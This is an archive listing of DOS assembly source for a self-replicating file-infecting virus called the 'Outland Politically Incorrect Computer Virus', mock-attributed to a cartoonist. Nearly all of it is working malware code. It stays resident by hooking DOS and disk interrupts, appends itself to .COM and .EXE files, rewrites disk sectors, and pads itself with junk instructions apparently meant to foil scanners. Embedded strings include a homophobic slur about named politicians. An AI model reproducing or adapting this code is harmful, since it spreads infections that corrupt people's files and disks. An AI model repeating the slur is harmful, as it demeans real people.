home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / OUTLAND.ASM < prev    next >
Assembly Source File  |  1992-05-24  |  23KB  |  1,277 lines

  1. ;************************
  2. ;*            *
  3. ;*    O U T L A N D     *
  4. ;*            *
  5. ;* by Berkeley Breathed *
  6. ;*            *
  7. ;*   5/24/1992       *
  8. ;*            *
  9. ;* dist by Washington   *
  10. ;* Post Writers Group    *
  11. ;************************
  12.  
  13.  
  14. ;
  15. ;The Outland Politically Incorrect Computer Virus
  16. ;
  17. ;
  18. ;
  19. ;
  20.  
  21. code    segment
  22.     assume    cs:code,ds:code
  23. copyright:
  24.     db    'Bill the Cat Lives! ',0
  25.  
  26. date_stamp:
  27.     dd    05249200h
  28. checksum:
  29.     db    30
  30. ;
  31. ;
  32. ;
  33. ;
  34. ;
  35. ;
  36.  
  37. exit_exe:
  38.     mov    bx,es
  39.     add    bx,10h
  40.     add    bx,word ptr cs:[si+call_adr+2]
  41.     mov    word ptr cs:[si+patch+2],bx
  42.     inc    bx                ;dummy
  43.     mov    bx,word ptr cs:[si+call_adr]
  44.     mov    word ptr cs:[si+patch],bx
  45.     mov    bx,es
  46.     add    bx,10h
  47.     add    bx,word ptr cs:[si+stack_pointer+2]
  48.     mov    ss,ax                ;dummy
  49.     mov    ss,bx
  50.     mov    sp,word ptr cs:[si+stack_pointer]
  51.     db    0eah            ;JMP XXXX:YYYY
  52. patch:
  53.     dd    0
  54.  
  55. ;
  56. ;
  57. ;
  58. ;
  59.  
  60.  
  61. exit_com:
  62.     mov    di,100h
  63.     add    si,offset my_save
  64.     movsb
  65.     movsw
  66.         mov     sp,ds:[6]               ;:
  67.                                         ;:
  68.     mov    bx,ax            ;dummy
  69.     xor    bx,bx
  70.     push    bx
  71.     jmp    [si-11]         ;si+call_adr-top_file
  72.  
  73. ;
  74. ;
  75. ;
  76. nofdisk2:
  77.     jmp    nofdisk
  78. startup:
  79.     call    relative
  80. relative:
  81.     pop    si            ;SI = $
  82.     sub    si,offset relative
  83.     cld
  84.     cmp    word ptr cs:[si+my_save],5a4dh
  85.     je    exe_ok
  86.     cli
  87.         mov     sp,si                   ;:
  88.                                         ;:
  89.                                         ;:
  90.         add     sp,offset top_file+100h ;:
  91.                                         ;:
  92.                                         ;:
  93.         sti                             ;:
  94.                                         ;:
  95.     cmp    sp,ds:[6]
  96.     jnc    exit_com
  97. exe_ok:
  98.     push    ax
  99.     push    es
  100.     push    si
  101.     push    ds
  102.     mov    di,si
  103.  
  104. ;
  105. ;
  106. ;
  107.  
  108.     xor    ax,ax
  109.     push    ax
  110.     mov    ds,ax
  111.     mov    ax,cx            ;dummy
  112.     les    ax,ds:[13h*4]
  113.     mov    word ptr cs:[si+fdisk],ax
  114.     mov    word ptr cs:[si+fdisk+2],es
  115.     mov    word ptr cs:[si+disk],ax
  116.     mov    word ptr cs:[si+disk+2],es
  117.     mov    ax,3344h        ;dummy
  118.         mov     ax,ds:[40h*4+2]         ;:
  119.                                         ;:
  120.                                         ;:
  121.         cmp     ax,0f000h               ;:
  122.                                         ;:
  123.                                         ;:
  124.     jne    nofdisk2
  125.     mov    word ptr cs:[si+disk+2],ax
  126.     mov    ax,ds:[40h*4]
  127.     mov    word ptr cs:[si+disk],ax
  128.     mov    dl,80h
  129.         mov     ax,ds:[41h*4+2]         ;:
  130.                                         ;:
  131.                                         ;:
  132.         cmp     ax,0f000h               ;:
  133.                                         ;:
  134.                                         ;:
  135.     je    isfdisk
  136.     cmp    ah,0c8h
  137.     jc    nofdisk
  138.     cmp    ah,0f4h
  139.     jnc    nofdisk
  140.     test    al,7fh
  141.     jnz    nofdisk
  142.     mov    ds,bx            ;dummy
  143.     mov    ds,ax
  144.     cmp    ds:[0],0aa55h
  145.     jne    nofdisk
  146.     mov    dl,ds:[2]
  147. isfdisk:
  148.     mov    ds,ax
  149.     xor    dh,dh
  150.     mov    cl,8            ;dummy
  151.     mov    cl,9
  152.     shl    dx,cl
  153.     mov    cx,dx
  154.     xor    si,si
  155. findvect:
  156.         lodsw                           ;:
  157.                                         ;:
  158.     cmp    ax,0fa80h        ;    CMP    DL,80h
  159.         jne     altchk                  ;       JNC     (       )
  160.     lodsw
  161.     cmp    ax,6969h        ;dummy
  162.     cmp    ax,7380h
  163.     je    intchk
  164.     jne    nxt0
  165. altchk:
  166.         cmp     ax,0c2f6h               ;:
  167.                                         ;:
  168.     jne    nxt            ;    TEST    DL,80h
  169.         lodsw                           ;       JNZ     (        )
  170.     cmp    ax,7580h
  171.     jne    nxt0
  172. intchk:
  173.     dec    si            ;dummy
  174.     inc    si            ;dummy
  175.         inc     si                      ;:
  176.                                         ;:
  177.     lodsw                ;    INT    40h
  178.     cmp    ax,40cdh
  179.     je    found
  180.     sub    si,3
  181. nxt0:
  182.     dec    si
  183.     dec    si
  184. nxt:
  185.     inc     si            ;dummy
  186.     dec    si            ;dummy
  187.     dec    si
  188.     loop    findvect
  189.     jmp    short nofdisk
  190. found:
  191.     sub    si,7
  192.     mov    word ptr cs:[di+fdisk],si
  193.     mov    word ptr cs:[di+fdisk+2],ds
  194. nofdisk:
  195.     mov    si,di
  196.     nop                ;dummy
  197.     pop    ds
  198.  
  199. ;:
  200. ;:
  201. ;:
  202.  
  203.     les    ax,ds:[21h*4]
  204.     mov    word ptr cs:[si+save_int_21],ax
  205.     mov    word ptr cs:[si+save_int_21+2],es
  206.     push    cs
  207.     nop                ;dummy
  208.     pop    ds
  209.     cmp    ax,offset int_21
  210.     jne    bad_func
  211.     xor    di,di
  212.     mov    cx,4433h        ;dummy
  213.     mov    cx,offset my_size
  214. scan_func:
  215.     lodsb
  216.     scasb
  217.     jne    bad_func
  218.     loop    scan_func
  219.     mov    es,ax            ;dummy
  220.     pop    es
  221.     jmp    go_program
  222.  
  223. ;:
  224. ;:
  225. ;:
  226. ;:
  227. ;:
  228. ;:
  229. ;:
  230. go_shit:jmp    go_program
  231.  
  232. bad_func:
  233.     pop    es
  234.     mov    ah,49h
  235.         call    int21h
  236.     mov    bx,0ffffh
  237.     mov    ah,47h            ;dummy
  238.     mov    ah,48h
  239.     call    int21h
  240.     sub    bx,(top_bz+my_bz+1ch-1)/16+2
  241.     jc    go_shit
  242.     mov    cx,es
  243.     stc
  244.     adc    cx,bx
  245.     mov    ah,4ah
  246.     call    int21h
  247.     mov    bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  248.     stc
  249.     sbb    es:[2],bx
  250.     push    es
  251.     mov    es,cx
  252.     mov    ah,33h            ;dummy
  253.     mov    ah,4ah
  254.     call    int21h
  255.     mov    ax,es
  256.     dec    ax
  257.     mov    ds,ax
  258.     mov    word ptr ds:[1],8
  259.     call    mul_16
  260.     mov    bx,ax
  261.     mov    cx,dx
  262.     pop    ds
  263.     mov    ax,7654h        ;dummy
  264.     mov    ax,ds
  265.     call    mul_16
  266.     add    ax,ds:[6]
  267.     adc    dx,0
  268.     sub    ax,bx
  269.     sbb    dx,cx
  270.     jc    mem_ok
  271.         sub     ds:[6],ax               ;:
  272.                                         ;:
  273.                                         ;:
  274. mem_ok:
  275.     pop    si
  276.     push    si
  277.     push    ds
  278.     push    cs
  279.     mov    di,0            ;dummy
  280.     xor    di,di
  281.     mov    ds,di
  282.     lds    ax,ds:[27h*4]
  283.     mov    word ptr cs:[si+save_int_27],ax
  284.     mov    word ptr cs:[si+save_int_27+2],ds
  285.     pop    ds
  286.     mov    cx,offset aux_size
  287.     rep    movsb
  288.     mov    ax,2367h        ;dummy
  289.     xor    ax,ax
  290.     mov    ds,ax
  291.         mov     ds:[21h*4],offset int_21;:
  292.                                         ;:
  293.                                         ;:
  294.     mov    ds:[21h*4+2],es
  295.     mov    ds:[27h*4],offset int_27
  296.     mov    ds:[27h*4+2],es
  297.     mov    word ptr es:[filehndl],ax
  298.     pop    es
  299. go_program:
  300.     pop    si
  301.  
  302. ;:
  303. ;:
  304. ;:
  305. ;:
  306.  
  307.     xor    ax,ax
  308.     mov    ds,ax
  309.     mov    ax,ds:[13h*4]
  310.     mov    word ptr cs:[si+save_int_13],ax
  311.     mov    ax,2468h        ;dummy
  312.     mov    ax,ds:[13h*4+2]
  313.     mov    word ptr cs:[si+save_int_13+2],ax
  314.     mov    ds:[13h*4],offset int_13
  315.     add    ds:[13h*4],si
  316.     mov    ds:[13h*4+2],cs
  317.     pop    ds
  318.     push    ds
  319.     push    si
  320.     mov    bx,1234h        ;dummy
  321.     mov    bx,si
  322.     lds    ax,ds:[2ah]
  323.     xor    si,si
  324.     mov    dx,si
  325. scan_envir:                             ;:
  326.                                         ;:
  327.                                         ;:
  328.         lodsw                           ;:
  329.                                         ;:
  330.                                         ;:
  331.     dec    si
  332.     test    ax,ax
  333.     jnz    scan_envir
  334.     add    si,3
  335.     lodsb
  336.  
  337. ;:
  338. ;:
  339. ;:
  340. ;:
  341. ;:
  342.  
  343.     sub    al,'A'
  344.     mov    cx,1
  345.     push    cs
  346.     pop    ds
  347.     add    bx,offset int_27
  348.     push    ax
  349.     push    bx
  350.     push    cx
  351.     int    25h
  352.     mov    ax,234h            ;dummy
  353.     pop    ax
  354.     pop    cx
  355.     pop    bx
  356.     inc    byte ptr [bx+0ah]
  357.         and     byte ptr [bx+0ah],0fh   ;:
  358.                                         ;:
  359.                                         ;:
  360.         jnz     store_sec               ;:
  361.                                         ;:
  362.                                         ;:
  363.     mov    al,[bx+10h]
  364.     xor    ah,ah
  365.     mul    word ptr [bx+16h]
  366.     add    ax,[bx+0eh]
  367.     push    ax
  368.     mov    ax,0            ;dummy
  369.     mov    ax,[bx+11h]
  370.     mov    dx,32
  371.     mul    dx
  372.     div    word ptr [bx+0bh]
  373.     pop    dx
  374.     add    dx,ax
  375.     mov    ax,[bx+8]
  376.     add    ax,40h
  377.     cmp    ax,[bx+13h]
  378.     jc    store_new
  379.     inc    ax
  380.     and    ax,3fh
  381.     add    ax,dx
  382.     cmp    ax,[bx+13h]
  383.     jnc    small_disk
  384. store_new:
  385.     mov    [bx+8],ax
  386. store_sec:
  387.     pop    ax
  388.     xor    dx,dx
  389.     push    ax
  390.     push    bx
  391.     push    cx
  392.     nop                ;dummy
  393.     int    26h
  394.  
  395. ;:
  396. ;:
  397. ;:
  398. ;:
  399. ;:
  400. ;:
  401. ;:
  402. ;:
  403. ;:
  404.  
  405.  
  406.     pop    ax
  407.     pop    cx
  408.     pop    bx
  409.     pop    ax
  410.     cmp    byte ptr [bx+0ah],0
  411.     jne    not_now
  412.     mov    dx,[bx+8]
  413.     pop    bx
  414.     push    bx
  415.     nop                ;dummy
  416.     int    26h
  417. small_disk:
  418.     pop    ax
  419. not_now:
  420.     pop    si
  421.     xor    ax,ax
  422.     mov    ds,ax
  423.     mov    ax,word ptr cs:[si+save_int_13]
  424.     mov    ds:[13h*4],ax
  425.     mov    ax,word ptr cs:[si+save_int_13+2]
  426.     mov    ds:[13h*4+2],ax
  427.     pop    ds
  428.     mov    ah,33h            ;dummy
  429.     pop    ax
  430.     cmp    word ptr cs:[si+my_save],5a4dh
  431.     jne    go_exit_com
  432.     jmp    exit_exe
  433. go_exit_com:
  434.     jmp    exit_com
  435. int_24:
  436.         mov     al,3                    ;:
  437.                                         ;:
  438.  
  439.     nop                ;dummy
  440.     iret
  441.  
  442. ;:
  443.  
  444.     db    'by Oliver Wendell Jones ',0
  445.     db    'Politically Incorrect Personal Computers Presents: ',0
  446.     db    'the OLIVER VIRUS!  Nya Ha Ha! ',0
  447.     db    'Men Rule! ',0
  448.     db    'America Kicks Butt! ',0
  449.     db    'Rap Sucks! ',0
  450.     db    'Eat Fatty Food! ',0
  451.     db    'Dames Melt Like Jell-O for Naughty Men! ',0
  452.     db    'Ted Kennedy Sucks Barney Frank`s Fag Cock! ',0
  453.  
  454.  
  455. ;:
  456. ;:
  457. ;:
  458.  
  459. int_27:
  460.     pushf
  461.     call    alloc
  462.     popf
  463.     jmp    dword ptr cs:[save_int_27]
  464.  
  465. ;:
  466. ;:
  467. ;:
  468. ;:
  469. ;:
  470. ;:
  471. ;:
  472. ;:
  473. ;:
  474.  
  475. set_int_27:
  476.     mov    word ptr cs:[save_int_27],dx
  477.     mov    word ptr cs:[save_int_27+2],ds
  478.     popf
  479.     iret
  480. set_int_21:
  481.     mov    word ptr cs:[save_int_21],dx
  482.     mov    word ptr cs:[save_int_21+2],ds
  483.     popf
  484.     iret
  485. get_int_27:
  486.     les    bx,dword ptr cs:[save_int_27]
  487.     popf
  488.     iret
  489. get_int_21:
  490.     les    bx,dword ptr cs:[save_int_21]
  491.     popf
  492.     iret
  493.  
  494. exec:
  495.     call    do_file
  496.     call    alloc
  497.     popf
  498.     jmp    dword ptr cs:[save_int_21]
  499.  
  500.     db    'Berk B.',0
  501.  
  502. ;:
  503. ;:
  504. ;:
  505. ;:
  506. ;:
  507. ;:
  508. ;:
  509. ;:
  510. ;:
  511. ;:
  512. ;:
  513. ;:
  514.  
  515.  
  516. int_21:
  517.     push    bp
  518.     mov    bp,sp
  519.     push    [bp+6]
  520.     popf
  521.     pop    bp
  522.     pushf
  523.     call    ontop
  524.     cmp    ax,2521h
  525.     je    set_int_21
  526.     cmp    ax,2527h
  527.     je    set_int_27
  528.     cmp    ax,3521h
  529.     je    get_int_21
  530.     cmp    ax,3527h
  531.     je    get_int_27
  532.     cld
  533.     cmp    ax,4b00h
  534.     je    exec
  535.     cmp    ah,3ch
  536.     je    create
  537.     cmp    ah,3eh
  538.     je    close
  539.     cmp    ah,5bh
  540.     jne    not_create
  541. create:
  542.         cmp     word ptr cs:[filehndl],0;:
  543.                                         ;:
  544.                                         ;:
  545.     jne    dont_touch
  546.     call    see_name
  547.     jnz    dont_touch
  548.     call    alloc
  549.     popf
  550.     call    function
  551.     jc    int_exit
  552.     pushf
  553.     push    es
  554.     push    cs
  555.     pop    es
  556.     push    si
  557.     push    di
  558.     push    cx
  559.     push    ax
  560.     mov    di,offset filehndl
  561.     stosw
  562.     mov    si,dx
  563.     mov    cx,65
  564. move_name:
  565.     lodsb
  566.     stosb
  567.     test    al,al
  568.     jz    all_ok
  569.     loop    move_name
  570.     mov    word ptr es:[filehndl],cx
  571. all_ok:
  572.     pop    ax
  573.     pop    cx
  574.     pop    di
  575.     pop    si
  576.     pop    es
  577. go_exit:
  578.     popf
  579.     jnc    int_exit        ;JMP
  580. close:
  581.     cmp    bx,word ptr cs:[filehndl]
  582.     jne    dont_touch
  583.     test    bx,bx
  584.     jz    dont_touch
  585.     call    alloc
  586.     popf
  587.     call    function
  588.     jc    int_exit
  589.     pushf
  590.     push    ds
  591.     push    cs
  592.     pop    ds
  593.     push    dx
  594.     mov    dx,offset filehndl+2
  595.     call    do_file
  596.     mov    word ptr cs:[filehndl],0
  597.     pop    dx
  598.     pop    ds
  599.     jmp    go_exit
  600. not_create:
  601.     cmp    ah,3dh
  602.     je    touch
  603.     cmp    ah,43h
  604.     je    touch
  605.         cmp     ah,56h                  ;:
  606.                                         ;:
  607.                                         ;:
  608.                                         ;:
  609.         jne     dont_touch              ;:
  610.                                         ;:
  611.                                         ;:
  612.                                         ;:
  613. touch:
  614.     call    see_name
  615.     jnz    dont_touch
  616.     call    do_file
  617. dont_touch:
  618.     call    alloc
  619.     popf
  620.     call    function
  621. int_exit:
  622.     pushf
  623.     push    ds
  624.     call    get_chain
  625.     mov    byte ptr ds:[0],'Z'
  626.     pop    ds
  627.     popf
  628. dummy    proc    far            ;???
  629.     ret    2
  630. dummy    endp
  631.  
  632. ;:
  633. ;:
  634. ;:
  635. ;:
  636.  
  637. see_name:
  638.     push    ax
  639.     push    si
  640.     mov    si,dx
  641. scan_name:
  642.     lodsb
  643.     test    al,al
  644.     nop                ;dummy
  645.     jz    bad_name
  646.     cmp    al,'.'
  647.     jnz    scan_name
  648.     call    get_byte
  649.     mov    ah,al
  650.     nop                ;dummy
  651.     call    get_byte
  652.     cmp    ax,'co'
  653.     nop                ;dummy
  654.     jz    pos_com
  655.     cmp    ax,'ex'
  656.     nop                ;dummy
  657.     jnz    good_name
  658.     call    get_byte
  659.     cmp    al,'e'
  660.     jmp    short good_name
  661. pos_com:
  662.     call    get_byte
  663.     cmp    al,'m'
  664.     jmp    short good_name
  665. bad_name:
  666.     inc    al
  667. good_name:
  668.     pop    si
  669.     pop    ax
  670.     ret
  671.  
  672. ;:
  673. ;:
  674. ;:
  675. ;:
  676.  
  677.  
  678. get_byte:
  679.     lodsb
  680.     cmp    al,'C'
  681.     jc    byte_got
  682.     cmp    al,'Y'
  683.     jnc    byte_got
  684.     add    al,20h
  685. byte_got:
  686.     ret
  687.  
  688. ;:
  689. ;:
  690. ;:
  691.  
  692. function:
  693.     pushf
  694.     call    dword ptr cs:[save_int_21]
  695.     ret
  696.  
  697.  
  698. ;:
  699. ;:
  700. ;:
  701.  
  702. do_file:
  703.         push    ds                      ;:
  704.                                         ;:
  705.                                         ;:
  706.     push    es
  707.     push    si
  708.     push    di
  709.     push    ax
  710.     push    bx
  711.     push    cx
  712.     push    dx
  713.     mov    si,ds
  714.     xor    ax,ax
  715.     mov    ds,ax
  716.         les     ax,ds:[24h*4]           ;:
  717.                                         ;:
  718.                                         ;:
  719.         push    es                      ;:
  720.                                         ;:
  721.                                         ;:
  722.     push    ax
  723.     mov    ds:[24h*4],offset int_24
  724.     mov    ds:[24h*4+2],cs
  725.     les    ax,ds:[13h*4]
  726.     mov    word ptr cs:[save_int_13],ax
  727.     mov    word ptr cs:[save_int_13+2],es
  728.     mov    ds:[13h*4],offset int_13
  729.     mov    ds:[13h*4+2],cs
  730.     push    es
  731.     push    ax
  732.     mov    ds,si
  733.         xor     cx,cx                   ;:
  734.                                         ;:
  735.                                         ;:
  736.                                         ;:
  737.     mov    ax,4300h
  738.     call    function
  739.     mov    bx,cx
  740.     and    cl,0feh
  741.     cmp    cl,bl
  742.     je    dont_change
  743.     mov    ax,4301h
  744.     call    function
  745.     stc
  746. dont_change:
  747.     pushf
  748.     push    ds
  749.     push    dx
  750.     push    bx
  751.         mov     ax,3d02h                ;:
  752.                                         ;:
  753.                                         ;:
  754.         call    function                ;:
  755.                                         ;:
  756.                                         ;:
  757.     jc    cant_open
  758.     mov    bx,ax
  759.     call    disease
  760.         mov     ah,3eh                  ;:
  761.                                         ;:
  762.                                         ;:
  763.     call    function
  764. cant_open:
  765.     pop    cx
  766.     pop    dx
  767.     pop    ds
  768.     popf
  769.     jnc    no_update
  770.         mov     ax,4301h                ;:
  771.                                         ;:
  772.                                         ;:
  773.                                         ;:
  774.         call    function                ;:
  775.                                         ;:
  776.                                         ;:
  777.                                         ;:
  778. no_update:
  779.         xor     ax,ax                   ;:
  780.                                         ;:
  781.                                         ;:
  782.                                         ;:
  783.     mov    ds,ax
  784.     pop    ds:[13h*4]
  785.     pop    ds:[13h*4+2]
  786.     pop    ds:[24h*4]
  787.     pop    ds:[24h*4+2]
  788.         pop     dx                      ;:
  789.                                         ;:
  790.                                         ;:
  791.                                         ;:
  792.     pop    cx
  793.     pop    bx
  794.     pop    ax
  795.     pop    di
  796.     pop    si
  797.     pop    es
  798.     pop    ds
  799.     ret
  800.  
  801.  
  802. ;:
  803. ;:
  804. ;:
  805. ;:
  806.  
  807. disease:
  808.     push    cs
  809.     pop    ds
  810.     push    cs
  811.     pop    es
  812.         mov     dx,offset top_save      ;:
  813.                                         ;:
  814.                                         ;:
  815.     mov    cx,18h
  816.     mov    ah,3fh
  817.     call    int21h
  818.     xor    cx,cx
  819.     xor    dx,dx
  820.         mov     ax,4202h                ;:
  821.                                         ;:
  822.                                         ;:
  823.                                         ;:
  824.  
  825.     call    int21h
  826.     mov    word ptr [top_save+1ah],dx
  827.         cmp     ax,offset my_size       ;:
  828.                                         ;:
  829.                                         ;:
  830.                                         ;:
  831.     sbb    dx,0
  832.         jc      stop_fuck_2             ;:
  833.                                         ;:
  834.                                         ;:
  835.                                         ;:
  836.     mov    word ptr [top_save+18h],ax
  837.     cmp    word ptr [top_save],5a4dh
  838.     jne    com_file
  839.     mov    ax,word ptr [top_save+8]
  840.     add    ax,word ptr [top_save+16h]
  841.     call    mul_16
  842.     add    ax,word ptr [top_save+14h]
  843.     adc    dx,0
  844.     mov    cx,dx
  845.     mov    dx,ax
  846.     jmp    short see_sick
  847. com_file:
  848.     cmp    byte ptr [top_save],0e9h
  849.     jne    see_fuck
  850.     mov    dx,word ptr [top_save+1]
  851.     add    dx,103h
  852.     jc    see_fuck
  853.     dec    dh
  854.     xor    cx,cx
  855.  
  856. ;:
  857. ;:
  858. ;:
  859. ;:
  860.  
  861.  
  862. see_sick:
  863.     sub    dx,startup-copyright
  864.     sbb    cx,0
  865.     mov    ax,4200h
  866.     call    int21h
  867.     add    ax,offset top_file
  868.     adc    dx,0
  869.     cmp    ax,word ptr [top_save+18h]
  870.     jne    see_fuck
  871.     cmp    dx,word ptr [top_save+1ah]
  872.     jne    see_fuck
  873.     mov    dx,offset top_save+1ch
  874.     mov    si,dx
  875.     mov    cx,offset my_size
  876.     mov    ah,3fh
  877.     call    int21h
  878.     jc    see_fuck
  879.     cmp    cx,ax
  880.     jne    see_fuck
  881.     xor    di,di
  882. next_byte:
  883.     lodsb
  884.     scasb
  885.     jne    see_fuck
  886.     loop    next_byte
  887. stop_fuck_2:
  888.     ret
  889. see_fuck:
  890.         xor     cx,cx                   ;:
  891.                                         ;:
  892.                                         ;:
  893.                                         ;:
  894.     xor    dx,dx
  895.     mov    ax,4202h
  896.     call    int21h
  897.     cmp    word ptr [top_save],5a4dh
  898.     je    fuck_exe
  899.         add     ax,offset aux_size+200h ;:
  900.                                         ;:
  901.                                         ;:
  902.                                         ;:
  903.     adc    dx,0
  904.     je    fuck_it
  905.     ret
  906.  
  907. ;:
  908. ;:
  909. ;:
  910. ;:
  911.  
  912. fuck_exe:
  913.     mov    dx,word ptr [top_save+18h]
  914.     neg    dl
  915.     and    dx,0fh
  916.     xor    cx,cx
  917.     mov    ax,4201h
  918.     call    int21h
  919.     mov    word ptr [top_save+18h],ax
  920.     mov    word ptr [top_save+1ah],dx
  921. fuck_it:
  922.         mov     ax,5700h                ;:
  923.                                         ;:
  924.                                         ;:
  925.                                         ;:
  926.     call    int21h
  927.     pushf
  928.     push    cx
  929.     push    dx
  930.     cmp    word ptr [top_save],5a4dh
  931.         je      exe_file                ;:
  932.                                         ;:
  933.                                         ;:
  934.                                         ;:
  935.     mov    ax,100h
  936.     jmp    short set_adr
  937. exe_file:
  938.     mov    ax,word ptr [top_save+14h]
  939.     mov    dx,word ptr [top_save+16h]
  940. set_adr:
  941.     mov    di,offset call_adr
  942.     stosw
  943.     mov    ax,0            ;dummy
  944.     mov    ax,dx
  945.     stosw
  946.     mov    ax,word ptr [top_save+10h]
  947.     stosw
  948.     mov    ax,word ptr [top_save+0eh]
  949.     stosw
  950.         mov     si,offset top_save      ;:
  951.                                         ;:
  952.                                         ;:
  953.         movsb                           ;:
  954.                                         ;:
  955.                                         ;:
  956.         movsw                           ;:
  957.                                         ;:
  958.                                         ;:
  959.     xor    dx,dx
  960.     mov    cx,offset top_file
  961.     mov    ah,40h
  962.         call    int21h                  ;:
  963.                                         ;:
  964.                                         ;:
  965.         jc      go_no_fuck              ;:
  966.                                         ;:
  967.                                         ;:
  968.     xor    cx,ax
  969.     jnz    go_no_fuck
  970.     mov    dx,cx
  971.     mov    ax,4200h
  972.     call    int21h
  973.     cmp    word ptr [top_save],5a4dh
  974.     je    do_exe
  975.     mov    byte ptr [top_save],0e9h
  976.     mov    ax,2233h        ;dummy
  977.     mov    ax,word ptr [top_save+18h]
  978.     add    ax,startup-copyright-3
  979.     mov    word ptr [top_save+1],ax
  980.     mov    cx,3
  981.     jmp    short write_header
  982. go_no_fuck:
  983.     jmp    short no_fuck
  984.  
  985. ;:
  986. ;:
  987. ;:
  988. ;:
  989.  
  990. do_exe:
  991.     call    mul_hdr
  992.     not    ax
  993.     not    dx
  994.     inc    ax
  995.     jne    calc_offs
  996.     inc    dx
  997. calc_offs:
  998.     add    ax,word ptr [top_save+18h]
  999.     adc    dx,word ptr [top_save+1ah]
  1000.     mov    cx,11h            ;dummy
  1001.     mov    cx,10h
  1002.     div    cx
  1003.     mov    word ptr [top_save+14h],startup-copyright
  1004.     mov    word ptr [top_save+16h],ax
  1005.     nop                ;dummy
  1006.     add    ax,(offset top_file-offset copyright-1)/16+1
  1007.     mov    word ptr [top_save+0eh],ax
  1008.     mov    word ptr [top_save+10h],100h
  1009.     add    word ptr [top_save+18h],offset top_file
  1010.     nop                ;dummy
  1011.     adc    word ptr [top_save+1ah],0
  1012.     mov    ax,word ptr [top_save+18h]
  1013.     and    ax,1ffh
  1014.     mov    word ptr [top_save+2],ax
  1015.     pushf
  1016.     mov    ax,word ptr [top_save+19h]
  1017.     shr    byte ptr [top_save+1bh],1
  1018.     rcr    ax,1
  1019.     popf
  1020.     jz    update_len
  1021.     inc    ax
  1022. update_len:
  1023.     mov    word ptr [top_save+4],ax
  1024.     mov    cx,18h
  1025. write_header:
  1026.     mov    dx,offset top_save
  1027.     mov    ah,40h
  1028.         call    int21h                  ;:
  1029.                                         ;:
  1030.                                         ;:
  1031.                                         ;:
  1032. no_fuck:
  1033.     pop    dx
  1034.     pop    cx
  1035.     popf
  1036.     jc    stop_fuck
  1037.         mov     ax,5701h                ;:
  1038.                                         ;:
  1039.                                         ;:
  1040.                                         ;:
  1041.     call    int21h
  1042. stop_fuck:
  1043.     ret
  1044.  
  1045. ;
  1046. ;
  1047. ;
  1048. ;
  1049. ;
  1050. ;
  1051. ;
  1052. ;
  1053. ;
  1054. ;
  1055. ;
  1056. ;
  1057. ;
  1058. ;
  1059.  
  1060.  
  1061. alloc:
  1062.     push    ds
  1063.     call    get_chain
  1064.     mov    byte ptr ds:[0],'M'
  1065.     pop    ds
  1066.  
  1067. ;:
  1068. ;:
  1069. ;:
  1070. ;:
  1071. ;:
  1072. ;:
  1073. ;:
  1074. ;:
  1075.  
  1076. ontop:
  1077.     push    ds
  1078.     push    ax
  1079.     push    bx
  1080.     push    dx
  1081.     xor    bx,bx
  1082.     mov    ds,bx
  1083.     lds    dx,ds:[21h*4]
  1084.     nop                ;dummy
  1085.     cmp    dx,offset int_21
  1086.     jne    search_segment
  1087.     mov    ax,ds
  1088.     mov    bx,cs
  1089.     cmp    ax,bx
  1090.     je    test_complete
  1091.  
  1092. ;
  1093. ;
  1094. ;
  1095. ;
  1096. ;
  1097. ;
  1098. ;
  1099. ;
  1100.  
  1101.  
  1102.     xor    bx,bx
  1103. search_segment:
  1104.     mov    ax,[bx]
  1105.     cmp    ax,offset int_21
  1106.     jne    search_next
  1107.     mov    ax,3322h        ;dummy
  1108.     mov    ax,cs
  1109.     cmp    ax,[bx+2]
  1110.     je    got_him
  1111. search_next:
  1112.     inc    bx
  1113.     jne    search_segment
  1114.     je    return_control
  1115. got_him:
  1116.     mov    ax,word ptr cs:[save_int_21]
  1117.     mov    [bx],ax
  1118.     nop                ;dummy
  1119.     mov    ax,word ptr cs:[save_int_21+2]
  1120.     mov    [bx+2],ax
  1121.     mov    word ptr cs:[save_int_21],dx
  1122.     mov    word ptr cs:[save_int_21+2],ds
  1123.     xor    bx,bx
  1124.  
  1125. ;
  1126. ;
  1127. ;
  1128. ;
  1129. ;
  1130. ;
  1131.  
  1132. return_control:
  1133.     mov    ds,bx
  1134.     nop                ;dummy
  1135.     mov    ds:[21h*4],offset int_21
  1136.     mov    ds:[21h*4+2],cs
  1137. test_complete:
  1138.     pop    dx
  1139.     pop    bx
  1140.     pop    ax
  1141.     pop    ds
  1142.     ret
  1143.  
  1144. ;
  1145. ;
  1146. ;
  1147. ;
  1148. get_chain:
  1149.     push    ax
  1150.     push    bx
  1151.     mov    ah,22h            ;dummy
  1152.     mov    ah,61h            ;mod'd
  1153.     inc    ah            ;mod'd to 62h
  1154.     call    function
  1155.     mov    ax,cs
  1156.     dec    ax
  1157.     dec    bx
  1158. next_blk:
  1159.     mov    ds,ax            ;dummy
  1160.     mov    ds,bx
  1161.     stc
  1162.     adc    bx,ds:[3]
  1163.     cmp    bx,ax
  1164.     jc    next_blk
  1165.     pop    bx
  1166.     pop    ax
  1167.     ret
  1168.  
  1169. ;
  1170. ;
  1171. ;
  1172. ;
  1173.  
  1174. mul_hdr:
  1175.     mov    ax,word ptr [top_save+8]
  1176. mul_16:
  1177.     mov    dx,10h
  1178.     mul    dx
  1179.     ret
  1180.  
  1181. int21h:    int    21h
  1182.     ret
  1183.  
  1184.     db    'Banana 6000 P.I.P.C. ' 
  1185.     db    '(C) I spell -Lightening- wrong! ',0
  1186.  
  1187. ;
  1188. ;
  1189. ;
  1190. ;
  1191. ;
  1192. ;
  1193. ;
  1194. ;
  1195.  
  1196.  
  1197. int_13:
  1198.     cmp    ah,22h            ;dummy
  1199.     cmp    ah,3
  1200.     jnz    subfn_ok
  1201.     cmp    dl,80h
  1202.     jnc    hdisk
  1203.     db    0eah            ;JMP XXXX:YYYY
  1204. my_size:                                ;:
  1205.                                         ;:
  1206.                                         ;:
  1207.                                         ;:
  1208. disk:
  1209.     dd    0
  1210. hdisk:
  1211.     db    0eah            ;JMP XXXX:YYYY
  1212. fdisk:
  1213.     dd    0
  1214. subfn_ok:
  1215.     db    0eah            ;JMP XXXX:YYYY
  1216. save_int_13:
  1217.     dd    0
  1218. call_adr:
  1219.     dd    100h
  1220.  
  1221. stack_pointer:
  1222.         dd      0                       ;:
  1223.                                         ;:
  1224.                                         ;:
  1225.                                         ;:
  1226. my_save:
  1227.         int     20h                     ;:
  1228.                                         ;:
  1229.                                         ;:
  1230.                                         ;:
  1231.         nop                             ;:
  1232.                                         ;:
  1233.                                         ;:
  1234. top_file:                               ;:
